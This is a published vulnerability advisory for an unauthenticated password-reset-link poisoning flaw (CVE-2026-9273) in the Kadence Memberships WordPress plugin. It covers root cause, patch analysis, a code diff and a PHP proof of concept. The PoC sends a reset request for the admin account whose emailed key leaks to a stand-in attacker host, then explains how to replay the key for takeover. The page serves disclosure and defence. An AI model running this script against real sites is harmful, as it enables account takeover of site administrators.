Published : August 5, 2026

CVE-2026-9273: Membership Plugin – Kadence Memberships <= 4.0.0 Unauthenticated Password Reset Link Poisoning to Account Takeover PoC, Patch Analysis & Rule

CVE ID CVE-2026-9273
Severity Critical (CVSS 9.3)
CWE 640
Vulnerable Version 4.0.0
Patched Version 4.0.1
Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9273:
This vulnerability allows unauthenticated attackers to poison password reset links in the Kadence Memberships plugin (version 4.0.0 and earlier), leading to account takeover. The flaw resides in the legacy lost-password handler and affects the plugin’s public-facing password reset functionality. The high CVSS score of 9.3 reflects the critical impact and ease of exploitation.

Root Cause: The core issue is the unsanitized use of the user-supplied `rc_redirect` POST parameter in `legacy/includes/forms.php`. In the vulnerable `rc_process_lost_password_form()` function, the parameter is passed directly to `wp_redirect( esc_url( $_POST[‘rc_redirect’] ) . … )` at line 243 and to `add_query_arg( array( ‘key’ => $key, ‘login’ => … ), $_POST[‘rc_redirect’] )` inside `rc_send_password_reset_email()` at line 306. This lack of validation allows an attacker to control the destination URL for both the post-submit redirect and the personalized password reset link sent to the victim.

Exploitation: An attacker exploits this by first submitting the public password reset form with a chosen `rc_redirect` value, targeting a victim’s username. The nonce required for this request is publicly embedded in the `[login_form]` shortcode HTML source, providing it to any anonymous visitor. The victim then receives a reset email containing a link that points to the attacker’s domain, but includes the legitimate reset `key` and `login` parameters in the URL. When the victim clicks this poisoned link, the valid key is sent to the attacker’s server, who can then replay it against the legitimate site to reset the victim’s password and log in.

Patch Analysis: The patch replaces the direct use of the `$_POST[‘rc_redirect’]` parameter with a two-step sanitization process. It now uses `wp_validate_redirect()` to restrict redirect destinations to the site’s own domain, falling back to `home_url()` if the provided value is invalid or an external host. The validated URL is then used with `wp_safe_redirect()` for HTTP redirects, which blocks attempts to redirect to external, non-whitelisted hosts. This change prevents the email body from containing an attacker-controlled host with the sensitive reset key.

Impact: Successful exploitation results in a full account takeover. An attacker can assume the identity of any user, including site administrators, by tricking them into clicking a malicious link. This grants the attacker complete control over the affected WordPress account, enabling them to modify site content, install plugins, access private data, and potentially pivot to a full site compromise or server-level access.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/restrict-content/legacy/includes/forms.php
+++ b/restrict-content/legacy/includes/forms.php
@@ -239,8 +239,8 @@
 	$errors = rc_send_password_reset_email();

 	if ( ! is_wp_error( $errors ) ) {
-		$redirect_to = esc_url( $_POST['rc_redirect'] ) . '?rc_action=lostpassword_checkemail';
-		wp_redirect( $redirect_to );
+		$redirect_base = wp_validate_redirect( isset( $_POST['rc_redirect'] ) ? sanitize_url( wp_unslash( $_POST['rc_redirect'] ) ) : '', home_url() ); // phpcs:ignore WordPress.WP.DeprecatedFunctions.sanitize_urlFound, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+		wp_safe_redirect( add_query_arg( 'rc_action', 'lostpassword_checkemail', $redirect_base ) );
 		exit();
 	}
 }
@@ -303,7 +303,17 @@
 	$message .= sprintf( __( 'Username: %s', 'restrict-content' ), $user_login ) . "rnrn";
 	$message .= __( 'If this was a mistake, just ignore this email and nothing will happen.', 'restrict-content' ) . "rnrn";
 	$message .= __( 'To reset your password, visit the following address:', 'restrict-content' ) . "rnrn";
-	$message .= esc_url_raw( add_query_arg( array( 'rc_action' => 'lostpassword_reset', 'key' => $key, 'login' => rawurlencode( $user_login ) ), $_POST['rc_redirect'] ) ) . "rn";
+	$redirect_base = wp_validate_redirect( isset( $_POST['rc_redirect'] ) ? sanitize_url( wp_unslash( $_POST['rc_redirect'] ) ) : '', home_url() ); // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.WP.DeprecatedFunctions.sanitize_urlFound, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+	$message .= esc_url_raw(
+		add_query_arg(
+			array(
+				'rc_action' => 'lostpassword_reset',
+				'key'       => $key,
+				'login'     => rawurlencode( $user_login ),
+			),
+			$redirect_base
+		)
+	) . "rn";

 	if ( is_multisite() ) {

--- a/restrict-content/legacy/restrictcontent.php
+++ b/restrict-content/legacy/restrictcontent.php
@@ -21,7 +21,7 @@
 }

 if ( ! defined( 'RC_PLUGIN_VERSION' ) ) {
-	define( 'RC_PLUGIN_VERSION', '4.0.0' );
+	define( 'RC_PLUGIN_VERSION', '4.0.1');
 }

 if ( ! defined( 'RC_PLUGIN_DIR' ) ) {
--- a/restrict-content/restrictcontent.php
+++ b/restrict-content/restrictcontent.php
@@ -3,7 +3,7 @@
  * Plugin Name: Kadence Memberships
  * Plugin URI: https://restrictcontentpro.com
  * Description: Set up a complete membership system for your WordPress site and deliver premium content to your members. Unlimited membership packages, membership management, discount codes, registration / login forms, and more.
- * Version: 4.0.0
+ * Version: 4.0.1
  * Author: Kadence
  * Author URI: https://www.kadencewp.com/
  * Requires at least: 6.0
@@ -18,7 +18,7 @@
 define('RCP_PLUGIN_FILE', __FILE__);
 define('RCP_ROOT', plugin_dir_path(__FILE__));
 define('RCP_WEB_ROOT', plugin_dir_url(__FILE__));
-define('RCF_VERSION', '4.0.0');
+define('RCF_VERSION', '4.0.1');

 // Load Strauss autoload.
 require_once plugin_dir_path( __FILE__ ) . 'vendor/strauss/autoload.php';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9273 - Membership Plugin – Kadence Memberships <= 4.0.0 - Unauthenticated Password Reset Link Poisoning to Account Takeover

$target_url = 'http://target-site.com'; // Change this to the vulnerable WordPress site
$attacker_log_url = 'http://attacker-server.com/log.php'; // Change this to a URL that captures the leaked reset key

// Step 1: Fetch the login form page to obtain a valid nonce.
$ch = curl_init($target_url . '/wp-login.php?action=lostpassword');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Parse the nonce from the response. Look for the hidden input field named 'rc_lost_password_nonce'.
preg_match('/name="rc_lost_password_nonce" value="([a-f0-9]+)"/', $response, $matches);
if (empty($matches[1])) {
    die('Failed to obtain nonce. Check if the plugin is active and the form is rendered.');
}
$nonce = $matches[1];
echo "[+] Retrieved nonce: $noncen";

// Step 2: Craft the malicious POST request to the plugin's form handler.
$post_data = [
    'rc_action' => 'lostpassword',
    'user_login' => 'admin', // Target the administrator account.
    'rc_redirect' => $attacker_log_url . '?rc_action=lostpassword_reset&key=',
    'rc_lost_password_nonce' => $nonce,
    '_wp_http_referer' => '/wp-login.php?action=lostpassword'
];

$ch = curl_init($target_url . '/wp-login.php?action=lostpassword');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_exec($ch);
curl_close($ch);

echo "[+] Password reset request sent. The victim will receive an email with a link to: $attacker_log_url . '?key=VALID_KEY&login=admin'n";
echo "[+] Once the victim clicks the link, the attacker's server will capture the key.n";
echo "[+] Replay the captured key against the target site to complete the takeover.n";

?>

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